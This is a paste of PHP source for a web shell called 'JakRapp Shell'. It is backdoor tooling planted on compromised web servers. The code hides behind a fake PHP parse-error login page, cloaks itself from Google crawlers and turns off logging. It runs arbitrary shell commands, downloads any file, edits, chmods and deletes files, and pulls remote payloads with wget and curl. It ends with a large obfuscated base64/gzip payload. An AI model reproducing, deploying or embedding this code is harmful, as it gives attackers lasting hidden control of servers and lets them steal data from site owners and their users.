· 10 years ago · Mar 22, 2016, 05:57 PM
1<?php
2/*
3#####################################################
4## Name : JakRapp Shell ##
5## Version : v1 ##
6## Author : Jaka Taruna a.k.a JakRapp ##
7## Contact : jakataruna09@gmail.com ##
8## Default : jancok ##
9## (c) 2016 www.jakrapp.com ##
10#####################################################
11*/
12$auth_pass = "71a4d4cd2f30b185d707718273b17d05";
13$color = "#df5";
14$default_action = 'FilesMan';
15$default_use_ajax = true;
16$default_charset = 'Windows-1251';
17@define('SELF_PATH', __FILE__);
18@setcookie("inject", "active", time() + 3600 * 24 * 7);
19if (strpos($_SERVER['HTTP_USER_AGENT'], 'Google') !== false) {
20 header('HTTP/1.0 404 Not Found');
21
22}
23@session_start();
24@error_reporting(0);
25@ini_set('error_log',NULL);
26@ini_set('log_errors',0);
27@ini_set('max_execution_time',0);
28@ini_set('output_buffering',0);
29@ini_set('display_errors', 0);
30@set_time_limit(0);
31@set_magic_quotes_runtime(0);
32@define('VERSION', '2.1');
33if( get_magic_quotes_gpc() ) {
34 function stripslashes_array($array) {
35 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
36 }
37 $_POST = stripslashes_array($_POST);
38}
39function printLogin() {
40 ?>
41
42<br />
43<b>Parse error</b>: syntax error, unexpected '}' in <b>/home/<?=$_SERVER['HTTP_HOST']?>/</b> on line <b>4366</b><br />
44
45
46 <style>
47 input { margin:0;background-color:#fff;border:1px solid #fff; }
48 </style>
49 <center>
50 <form method=post>
51 <input type=password name=pass>
52 </form></center>
53 <?php
54 exit;
55}
56if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
57 if( empty( $auth_pass ) ||
58 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
59 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
60 else
61 printLogin();
62
63@ini_set('log_errors',0);
64@ini_set('output_buffering',0);
65if(isset($_GET['dl']) && ($_GET['dl'] != "")){
66 $file = $_GET['dl'];
67 $filez = @file_get_contents($file);
68 header("Content-type: application/octet-stream");
69 header("Content-length: ".strlen($filez));
70 header("Content-disposition: attachment; filename=\"".basename($file)."\";");
71 echo $filez;
72 exit;
73}
74elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
75 $file = $_GET['dlgzip'];
76 $filez = gzencode(@file_get_contents($file));
77 header("Content-Type:application/x-gzip\n");
78 header("Content-length: ".strlen($filez));
79 header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
80 echo $filez;
81 exit;
82}
83// view image
84if(isset($_GET['img'])){
85 @ob_clean();
86 $d = magicboom($_GET['y']);
87 $f = $_GET['img'];
88 $inf = @getimagesize($d.$f);
89 $ext = explode($f,".");
90 $ext = $ext[count($ext)-1];
91 @header("Content-type: ".$inf["mime"]);
92 @header("Cache-control: public");
93 @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
94 @header("Cache-control: max-age=".(60*60*24*7));
95 @readfile($d.$f);
96 exit;
97}
98
99// server software
100$software = getenv("SERVER_SOFTWARE");
101// check safemode
102if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
103// uname -a
104$system = @php_uname();
105// mysql
106function showstat($stat) {if ($stat=="on") {return "<b><font style='color:#00FF00'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
107function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
108function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
109function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
110function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
111// check os
112if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
113else $win = FALSE;
114// change directory
115if(isset($_GET['y'])){
116 if(@is_dir($_GET['view'])){
117 $pwd = $_GET['view'];
118 @chdir($pwd);
119 }
120 else{
121 $pwd = $_GET['y'];
122 @chdir($pwd);
123 }
124}
125//hdd
126function convertByte($s) {
127if($s >= 1073741824)
128return sprintf('%1.2f',$s / 1073741824 ).' GB';
129elseif($s >= 1048576)
130return sprintf('%1.2f',$s / 1048576 ) .' MB';
131elseif($s >= 1024)
132return sprintf('%1.2f',$s / 1024 ) .' KB';
133else
134return $s .' B';
135}
136
137// username, id, shell prompt and working directory
138if(!$win){
139 if(!$user = rapih(exe("whoami"))) $user = "";
140 if(!$id = rapih(exe("id"))) $id = "";
141 $prompt = $user." \$ ";
142 $pwd = @getcwd().DIRECTORY_SEPARATOR;
143}
144else {
145 $user = @get_current_user();
146 $id = $user;
147 $prompt = $user." >";
148 $pwd = realpath(".")."\\";
149 // find drive letters
150 $v = explode("\\",$d);
151 $v = $v[0];
152 foreach (range("A","Z") as $letter)
153 {
154 $bool = @is_dir($letter.":\\");
155 if ($bool)
156 {
157 $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
158 if ($letter.":" != $v) {$letters .= $letter;}
159 else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
160 $letters .= " ]</a> ";
161 }
162 }
163}
164
165function testoracle() {
166 if (function_exists('ocilogon')) { return showstat("on"); }
167 else { return showstat("off"); }
168 }
169
170function testmssql() {
171 if (function_exists('mssql_connect')) { return showstat("on"); }
172 else { return showstat("off"); }
173 }
174
175 function showdisablefunctions() {
176 if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
177 else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
178 }
179
180if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
181else $posix = FALSE;
182// server ip
183$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
184// your ip ;-)
185$my_ip = $_SERVER['REMOTE_ADDR'];
186$admin_id=$_SERVER['SERVER_ADMIN'];
187$bindport = "13123";
188$bindport_pass = "b374k";
189
190// separate the working direcotory
191$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
192$pwdurl = "";
193for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
194 $pathz = "";
195 for($j = 0 ; $j <= $i ; $j++){
196 $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
197 }
198 $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
199}
200
201// rename file or folder
202if(isset($_POST['rename'])){
203 $old = $_POST['oldname'];
204 $new = $_POST['newname'];
205 @rename($pwd.$old,$pwd.$new);
206 $file = $pwd.$new;
207}
208if(isset($_POST['chmod'])){
209 $name = $_POST['name'];
210 $value = $_POST['newvalue'];
211if (strlen($value)==3){
212 $value = 0 . "" . $value;}
213 @chmod($pwd.$name,octdec($value));
214 $file = $pwd.$name;}
215
216if(isset($_POST['chmod_folder'])){
217 $name = $_POST['name'];
218 $value = $_POST['newvalue'];
219if (strlen($value)==3){
220 $value = 0 . "" . $value;}
221 @chmod($pwd.$name,octdec($value));
222 $file = $pwd.$name;}
223
224
225// print useful info
226$buff = "Software : <b>".$software."</b><br />";
227$buff .= "System OS : <b>".$system."</b><br />";
228if($id != "") $buff .= "ID : <b>".$id."</b><br />";
229$buff .= "PHP Version : <b>".phpversion()."</b> on <b>".php_sapi_name()."</b><br />";
230$buff .= "Server ip : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> Your ip : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
231$buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
232if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b>ON</b></span><br />";
233else $buff .= "Safemode: <span class=\"gaya\"><b>OFF</b></span><br />";
234$buff .= "Disabled Functions: ".showdisablefunctions()."<br />";
235$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>";
236$buff .= "<font color=00ff00 ><b>".$letters." > ".$pwdurl."</b></font>";
237
238
239
240
241function rapih($text){
242 return trim(str_replace("<br />","",$text));
243}
244
245function magicboom($text){
246 if (!get_magic_quotes_gpc()) {
247 return $text;
248 }
249 return stripslashes($text);
250}
251
252function showdir($pwd,$prompt){
253 $fname = array();
254 $dname = array();
255 if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
256 else $posix = FALSE;
257 $user = "????:????";
258 if($dh = @scandir($pwd)){
259 foreach($dh as $file){
260 if(is_dir($file)){
261 $dname[] = $file;
262 }
263 elseif(is_file($file)){
264 $fname[] = $file;
265 }
266 }
267 }
268 else{
269 if($dh = @opendir($pwd)){
270 while($file = @readdir($dh)){
271 if(@is_dir($file)){
272 $dname[] = $file;
273 }
274 elseif(@is_file($file)){
275 $fname[] = $file;
276 }
277 }
278 @closedir($dh);
279 }
280 }
281
282
283 sort($fname);
284 sort($dname);
285 $path = @explode(DIRECTORY_SEPARATOR,$pwd);
286 $tree = @sizeof($path);
287 $parent = "";
288 $buff = "
289 <form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
290 <table class=\"explore\">
291 <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
292
293 ";
294 if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
295 else $parent = $pwd;
296
297 foreach($dname as $folder){
298 if($folder == ".") {
299 if(!$win && $posix){
300 $name=@posix_getpwuid(@fileowner($folder));
301 $group=@posix_getgrgid(@filegroup($folder));
302 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
303 }
304 else {
305 $owner = $user;
306 }
307 $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
308 <td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
309 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
310
311 <a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
312 <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
313 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
314 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
315 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
316 </form></td>
317
318 </tr>
319
320 ";
321 }
322 elseif($folder == "..") {
323 if(!$win && $posix){
324 $name=@posix_getpwuid(@fileowner($folder));
325 $group=@posix_getgrgid(@filegroup($folder));
326 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
327 }
328 else {
329 $owner = $user;
330 }
331 $buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
332 <td style=\"text-align:center;\">".$owner."</td>
333 <td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
334
335 <td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
336 <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
337 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
338 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
339 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
340 </form>
341 </td></tr>";
342 }
343 else {
344 if(!$win && $posix){
345 $name=@posix_getpwuid(@fileowner($folder));
346 $group=@posix_getgrgid(@filegroup($folder));
347 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
348 }
349 else {
350 $owner = $user;
351 }
352 $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
353
354 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
355 <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
356 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
357 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
358 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
359 </form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
360 <td><center>
361 <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
362
363 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
364 <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
365 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
366 <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
367 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
368 onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
369 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
370 }
371 }
372
373 foreach($fname as $file){
374 $full = $pwd.$file;
375 if(!$win && $posix){
376 $name=@posix_getpwuid(@fileowner($folder));
377 $group=@posix_getgrgid(@filegroup($folder));
378 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
379 }
380 else {
381 $owner = $user;
382 }
383 $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
384
385 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
386 <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
387 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
388 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
389 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
390 </form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
391 <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
392
393 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
394<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
395<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
396<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
397<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
398 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
399 <td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
400 }
401 $buff .= "</table>";
402 return $buff;
403}
404
405function ukuran($file){
406 if($size = @filesize($file)){
407 if($size <= 1024) return $size;
408 else{
409 if($size <= 1024*1024) {
410 $size = @round($size / 1024,2);;
411 return "$size kb";
412 }
413 else {
414 $size = @round($size / 1024 / 1024,2);
415 return "$size mb";
416 }
417 }
418 }
419 else return "???";
420}
421
422function exe($cmd){
423 if(function_exists('system')) {
424 @ob_start();
425 @system($cmd);
426 $buff = @ob_get_contents();
427 @ob_end_clean();
428 return $buff;
429 }
430 elseif(function_exists('exec')) {
431 @exec($cmd,$results);
432 $buff = "";
433 foreach($results as $result){
434 $buff .= $result;
435 }
436 return $buff;
437 }
438 elseif(function_exists('passthru')) {
439 @ob_start();
440 @passthru($cmd);
441 $buff = @ob_get_contents();
442 @ob_end_clean();
443 return $buff;
444 }
445 elseif(function_exists('shell_exec')){
446 $buff = @shell_exec($cmd);
447 return $buff;
448 }
449}
450
451function tulis($file,$text){
452 $textz = gzinflate(base64_decode($text));
453 if($filez = @fopen($file,"w"))
454 {
455 @fputs($filez,$textz);
456 @fclose($file);
457 }
458}
459
460function ambil($link,$file) {
461 if($fp = @fopen($link,"r")){
462 while(!feof($fp)) {
463 $cont.= @fread($fp,1024);
464 }
465 @fclose($fp);
466 $fp2 = @fopen($file,"w");
467 @fwrite($fp2,$cont);
468 @fclose($fp2);
469 }
470}
471
472function which($pr){
473 $path = exe("which $pr");
474 if(!empty($path)) { return trim($path); } else { return trim($pr); }
475}
476
477function download($cmd,$url){
478 $namafile = basename($url);
479 switch($cmd) {
480 case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
481 case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
482 case 'wfread' : ambil($wurl,$namafile);break;
483 case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
484 case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
485 case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
486 case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
487 default: break;
488 }
489 return $namafile;
490}
491
492function get_perms($file)
493{
494 if($mode=@fileperms($file)){
495 $perms='';
496 $perms .= ($mode & 00400) ? 'r' : '-';
497 $perms .= ($mode & 00200) ? 'w' : '-';
498 $perms .= ($mode & 00100) ? 'x' : '-';
499 $perms .= ($mode & 00040) ? 'r' : '-';
500 $perms .= ($mode & 00020) ? 'w' : '-';
501 $perms .= ($mode & 00010) ? 'x' : '-';
502 $perms .= ($mode & 00004) ? 'r' : '-';
503 $perms .= ($mode & 00002) ? 'w' : '-';
504 $perms .= ($mode & 00001) ? 'x' : '-';
505 return $perms;
506 }
507 else return "??????????";
508}
509
510function clearspace($text){
511 return str_replace(" ","_",$text);
512}
513$wpress="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";
